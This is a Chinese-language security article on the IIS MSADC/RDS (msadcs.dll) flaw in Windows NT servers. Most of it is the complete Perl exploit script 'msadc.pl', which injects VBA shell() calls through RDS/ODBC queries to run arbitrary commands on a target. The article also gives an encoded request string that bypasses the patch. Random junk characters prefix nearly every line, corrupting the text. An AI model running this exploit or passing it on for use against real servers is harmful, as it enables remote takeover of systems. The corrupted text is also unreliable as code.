IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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;. BZQJ@lk5 涉及程序:
c1]\.s Microsoft NT server
IxP$lx y9:o];/ 描述:
"Q23s" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~O~we @S012} xH 详细:
[o'}R`5) 如果你没有时间读详细内容的话,就删除:
E;a9RV| c:\Program Files\Common Files\System\Msadc\msadcs.dll
WsM/-P1Y 有关的安全问题就没有了。
bF@iO316H wRWKem= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
|?fc]dl1] KueI*\ p 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
m<9W# 关于利用ODBC远程漏洞的描述,请参看:
,g)9ZP.F w68VOymD/ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm is-{U?- v2#qs*sW8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Zfr?(y+3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp *
8D(Lp1 v CR\lR+ 这里不再论述。
TwE&5F* nYY' hjZ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MU_
>+Wnf b~G|Bhxa /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
RK]."m0c~# 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
'$OLU[(Y LD5E 5.)/gK2$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
s@3<] Z Q9's #!perl
iQaF R@ #
f1VA61z{) # MSADC/RDS 'usage' (aka exploit) script
20uR? /|@ #
*r3u=oWb # by rain.forest.puppy
-aMwC5iR@ #
[C~{g# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jr5x!@rb # beta test and find errors!
W/R-~C e fm% Y*<Y" use Socket; use Getopt::Std;
Y) 4D$9: getopts("e:vd:h:XR", \%args);
~oBSf+N KWV{wW=- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[[u&=.Au 8<ri"m, if (!defined $args{h} && !defined $args{R}) {
Ib4 8` print qq~
$VJ=A< Usage: msadc.pl -h <host> { -d <delay> -X -v }
>^Z! -h <host> = host you want to scan (ip or domain)
ph1veD<ZZ -d <seconds> = delay between calls, default 1 second
? Kn~fs8 -X = dump Index Server path table, if available
k}Vu!+c z -v = verbose
hMs}r,* -e = external dictionary file for step 5
l:kF0tj" 0ID
8L
[ Or a -R will resume a command session
mk~Lkwl
!*xQPanL ~; exit;}
?G-a:'1!6 {z%%(,I $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
v4<x 4 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'W j Q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Ih95&HsdC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
WaWx5Fx+
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9X{aU)"omQ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
t
UW'E (iiyptJ if (!defined $args{R}){ $ret = &has_msadc;
tL4xHa6v] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^Sr`)vP \bb,gRfP print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!$+J7\&7p . "cmd /c ";
dDk<J;~jGJ $in=<STDIN>; chomp $in;
Lp/]iZ@ $command="cmd /c " . $in ;
\G*vY#] NC2PW+( if (defined $args{R}) {&load; exit;}
`ml;#n,* O@_)]z?jUc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
sOW-GWSE< &try_btcustmr;
nmN6RGx A!
1> print "\nStep 2: Trying to make our own DSN...";
}g _#.>D+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B)"WG7W E ~c3CyOab print "\nStep 3: Trying known DSNs...";
ZA ii"F &known_dsn;
Kc\0-3 Z ziy~~J print "\nStep 4: Trying known .mdbs...";
zn3i2MWS &known_mdb;
[w~1e)D ?z60b=f8 if (defined $args{e}){
^IM;D)X&: print "\nStep 5: Trying dictionary of DSN names...";
_" F(w"| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rC<m6 QTK{JZf print "Sorry Charley...maybe next time?\n";
=N
n0)l exit;
y?aOk-TaRA v *~ yN* ##############################################################################
W#0pFofXw <OW` )0UX sub sendraw { # ripped and modded from whisker
n4CzReG sleep($delay); # it's a DoS on the server! At least on mine...
7z6y n=B my ($pstr)=@_;
/gHRJ$2|Sx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TZZqV8 die("Socket problems\n");
eGLLh_V" if(connect(S,pack "SnA4x8",2,80,$target)){
f.'o4HSj select(S); $|=1;
./ib{ @A. print $pstr; my @in=<S>;
^QV;[ha,o select(STDOUT); close(S);
Qo{^jDe,c* return @in;
W?/7PVGv5h } else { die("Can't connect...\n"); }}
AC(}cMM+ s6). ?oE ##############################################################################
\"PlM!0du )r1Z}X(#d sub make_header { # make the HTTP request
2&!G@5 my $msadc=<<EOT
!cE)LG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ar=pzQ<Z{ User-Agent: ACTIVEDATA
T cSj`- Host: $ip
-D.6@@%Kc} Content-Length: $clen
*RM#F!A Connection: Keep-Alive
P67r+P, !Nl"y'B| ADCClientVersion:01.06
Q.6pmaXrb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Ctt{j'-[ 1p9f& w --!ADM!ROX!YOUR!WORLD!
'(u [ Content-Type: application/x-varg
*Xl&N- 04 Content-Length: $reqlen
F=^vu7rf zYSXG-k EOT
haa[ob6T ; $msadc=~s/\n/\r\n/g;
Vv=d* return $msadc;}
?~S\^4] h.~S^uKi* ##############################################################################
F K={% S)$ES6]9/ sub make_req { # make the RDS request
v=SC* my ($switch, $p1, $p2)=@_;
Pd^ilRB my $req=""; my $t1, $t2, $query, $dsn;
-\>Bphu,y ";",r^vr\ if ($switch==1){ # this is the btcustmr.mdb query
Fz)z&WT $query="Select * from Customers where City=" . make_shell();
t_@%4Wn!1L $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
eVbHPu4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
R^_/iy +69sG9BA elsif ($switch==2){ # this is general make table query
4 "wuqr|o $query="create table AZZ (B int, C varchar(10))";
I#S6k%-' $dsn="$p1";}
0Km{fZYq7; {?BxVDD07 elsif ($switch==3){ # this is general exploit table query
|'=R`@w~0 $query="select * from AZZ where C=" . make_shell();
2lHJ&fck< $dsn="$p1";}
pU`Q[HOs O&\;BF5:R elsif ($switch==4){ # attempt to hork file info from index server
aCFO] $query="select path from scope()";
cy/;qd+!M $dsn="Provider=MSIDXS;";}
&Cdk%@Tj]B 1"~@UcJ elsif ($switch==5){ # bad query
@oug^]a $query="select";
k9WihejS $dsn="$p1";}
T6-e YJXh|@LT $t1= make_unicode($query);
|' mgo $t2= make_unicode($dsn);
W)w@ju$Ko $req = "\x02\x00\x03\x00";
c<-_Vh.:5 $req.= "\x08\x00" . pack ("S1", length($t1));
0ltq~K $req.= "\x00\x00" . $t1 ;
?OvtR:h C $req.= "\x08\x00" . pack ("S1", length($t2));
X )g<F $req.= "\x00\x00" . $t2 ;
M_UhFY=' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*wyaBV?*K return $req;}
i>q]U:U g;eMsoJG ##############################################################################
IM)\-O\Wd 0 Co_," sub make_shell { # this makes the shell() statement
WQ =C5^u return "'|shell(\"$command\")|'";}
_i6G)u&N #$X_,P|D ##############################################################################
|ay W _5} HRje4=: sub make_unicode { # quick little function to convert to unicode
I`E9]b(w my ($in)=@_; my $out;
>K;p+( <6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
8KT|ixs return $out;}
m[Px|A5{ x"5/1b3aq ##############################################################################
*V3 }L
Z K
)1K ] sub rdo_success { # checks for RDO return success (this is kludge)
<+" Jh_N# my (@in) = @_; my $base=content_start(@in);
US0)^TKrj if($in[$base]=~/multipart\/mixed/){
S#_i<u$$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}O5c.3 return 0;}
z9YC9m)jK Y*B}^!k6 ##############################################################################
{Qg"1+hhM E,u@,= j sub make_dsn { # this makes a DSN for us
L5of(gQ5] my @drives=("c","d","e","f");
EM;]dLh print "\nMaking DSN: ";
u0#q)L8 foreach $drive (@drives) {
2|kx:^D p print "$drive: ";
qA#!3< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
kOx2P(UAEx "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ZVVK:dDgt . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]f-< s,@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G;qC&7T return 0 if $2 eq "404"; # not found/doesn't exist
@q],pD if($2 eq "200") {
*" >ek k foreach $line (@results) {
4 )*8& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S;MS,R } return 0;}
d9sl(;r [9~Bau ##############################################################################
}*hY#jo1 @T|mHfQ8 sub verify_exists {
?msx my ($page)=@_;
6*/0 yGij my @results=sendraw("GET $page HTTP/1.0\n\n");
kf~ D m}bV return $results[0];}
{(Drw~/@ [>oq~[e)? ##############################################################################
89U<9j P+wV.pF| sub try_btcustmr {
Wb68" )$ my @drives=("c","d","e","f");
}.$oZo9J my @dirs=("winnt","winnt35","winnt351","win","windows");
}rxFX o2@8w[r foreach $dir (@dirs) {
O (<Wn- print "$dir -> "; # fun status so you can see progress
_}EGk4E foreach $drive (@drives) {
IE+$ET>t print "$drive: "; # ditto
/J<?2T9G $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$A9!} `V $reqlenlen=length( "$reqlen" );
i_)j K $clen= 206 + $reqlenlen + $reqlen;
lnEc5J@c>i c&e?_@}| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Ef;_im if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
~ 61O else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,[D,G kZBIXW,G ##############################################################################
=oV8!d%] ]tanvJG}' sub odbc_error {
>w9fFm!Q
my (@in)=@_; my $base;
~2beVQ(U my $base = content_start(@in);
bBW(#
Q_a if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
'{@hBB+ D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6I.N:)= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u7UqN $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`f}}z5 return $in[$base+4].$in[$base+5].$in[$base+6];}
A5Qzj]{ba print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
dur}3oS0p print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
TSt-#c4B $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&$.Vi&{. MRZWfc ##############################################################################
4~53%=+ /x"gpKwsB sub verbose {
DzkE*vR my ($in)=@_;
jX$TiG return if !$verbose;
`^-?yu@ print STDOUT "\n$in\n";}
|qE"60&"} 1c(1 YGuH ##############################################################################
MGCwT@P )@RTU~# sub save {
-IMm# my ($p1, $p2, $p3, $p4)=@_;
?<YtlqL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
i44UqEb print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7v}4 Pl,$4 close OUT;}
J/pW*G-U| 2^Tj7@ ##############################################################################
&n|#jo(gS h6c8hp. sub load {
?C(Z\"IX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ro*$7j0!Hf open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4tz8^z[Kw @p=<IN>; close(IN);
YQG[8I $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
X4>c(1e $target= inet_aton($ip) || die("inet_aton problems");
h
`d(?1 print "Resuming to $ip ...";
rteViq+|. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
N{IY\/;\ if($p[1]==1) {
KFor~A# D $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
e!URj\* $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X's-i! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
VHsuC$3W if (rdo_success(@results)){print "Success!\n";}
c2Ua!p(c else { print "failed\n"; verbose(odbc_error(@results));}}
I1=YSi;A elsif ($p[1]==3){
>G92k76G if(run_query("$p[3]")){
m0t5oO print "Success!\n";} else { print "failed\n"; }}
WW2VW-Hk elsif ($p[1]==4){
4f~CG
r if(run_query($drvst . "$p[3]")){
46o3F" print "Success!\n"; } else { print "failed\n"; }}
[-f0s;F1% exit;}
MeW8aLr DZ?>9W{ ##############################################################################
N+rLbK* ^2[0cne sub create_table {
U5jY/e_ my ($in)=@_;
O$J'BnPpw $reqlen=length( make_req(2,$in,"") ) - 28;
1 b+B $reqlenlen=length( "$reqlen" );
HNxJ`x~Z~ $clen= 206 + $reqlenlen + $reqlen;
"ZEJL.Wy my @results=sendraw(make_header() . make_req(2,$in,""));
0I* ^VGZ return 1 if rdo_success(@results);
Z`v6DfK} my $temp= odbc_error(@results); verbose($temp);
O66\s q return 1 if $temp=~/Table 'AZZ' already exists/;
&ME[H return 0;}
%4Ylq|d @Ytsb!! ##############################################################################
k ~lj:7g~ oJVpNE[3] sub known_dsn {
d}3<nz, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
I&3L1rl3{* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
F IDNhu "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
l]Jk
}. "banner", "banners", "ads", "ADCDemo", "ADCTest");
m1a0uEA
G >Y?B(I2e foreach $dSn (@dsns) {
V=I au_ print ".";
B 9KY$^J next if (!is_access("DSN=$dSn"));
5F+5J)h if(create_table("DSN=$dSn")){
q]=.Aik print "$dSn successful\n";
)5_GJm&R9 if(run_query("DSN=$dSn")){
t*5d'aE`/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
us\@n" print "Something's borked. Use verbose next time\n";}}} print "\n";}
n=MdbY/k( I>k3X~cG ##############################################################################
8s-RNA>7^ u{"o*udU sub is_access {
EC&t+"=R my ($in)=@_;
{ cnya* $reqlen=length( make_req(5,$in,"") ) - 28;
38b%km# $reqlenlen=length( "$reqlen" );
2/sD#vC $clen= 206 + $reqlenlen + $reqlen;
w&f8AY)#]4 my @results=sendraw(make_header() . make_req(5,$in,""));
kEf}yTy my $temp= odbc_error(@results);
FSoL|lH verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@=h%;" return 0;}
- y{*U1[ >~_y\ ##############################################################################
p%+ 0^]v1 "zc@(OA[z sub run_query {
$TU=^W)X my ($in)=@_;
6_=qpP-? $reqlen=length( make_req(3,$in,"") ) - 28;
nS"K
dPM $reqlenlen=length( "$reqlen" );
o<1e- $clen= 206 + $reqlenlen + $reqlen;
#R4Mv(BG my @results=sendraw(make_header() . make_req(3,$in,""));
I:U /%cr, return 1 if rdo_success(@results);
xcnHj1r-o' my $temp= odbc_error(@results); verbose($temp);
(l{+T# return 0;}
54WM*FZ $"0t 1 ##############################################################################
Q~G+YjM3 xyj)W sub known_mdb {
10_eUQN my @drives=("c","d","e","f","g");
iN8?~T}w my @dirs=("winnt","winnt35","winnt351","win","windows");
g4<%t,(88E my $dir, $drive, $mdb;
'C+z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Qh%/{6(u U8]L3&~ # this is sparse, because I don't know of many
X5U_|XK6Y my @sysmdbs=( "\\catroot\\icatalog.mdb",
P0~3<h?U8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
<Q/^[ "\\system32\\certmdb.mdb",
5u T
9ssC "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
5#g<L ~ fO[X<|9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
`J[(Dx'y=t "\\cfusion\\cfapps\\forums\\forums_.mdb",
G]E$U]=9r: "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
V.)y7B "\\cfusion\\cfapps\\security\\realm_.mdb",
@;qC% +^ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{S%)GvrT "\\cfusion\\database\\cfexamples.mdb",
yT`[9u, "\\cfusion\\database\\cfsnippets.mdb",
0aQtJ0e16 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
kFgN^v^t "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
D@uw[;Xb5 "\\cfusion\\brighttiger\\database\\cleam.mdb",
`Gx"3ZUn "\\cfusion\\database\\smpolicy.mdb",
j|FGb: "\\cfusion\\database\cypress.mdb",
+P/"bwv0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Wa
#,> "\\website\\cgi-win\\dbsample.mdb",
Hj
|~*kG "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V]L$`7G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2FD[D`n]f ); #these are just
-b~MQ/,2 foreach $drive (@drives) {
ih.UzPg foreach $dir (@dirs){
z{d] ,M foreach $mdb (@sysmdbs) {
T?!^-PD9* print ".";
ehtiu!Vk if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(M4~N)7<P5 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<89@k(\ / if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(aVsp*E print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$5GvF1 } else { print "Something's borked. Use verbose next time\n"; }}}}}
b<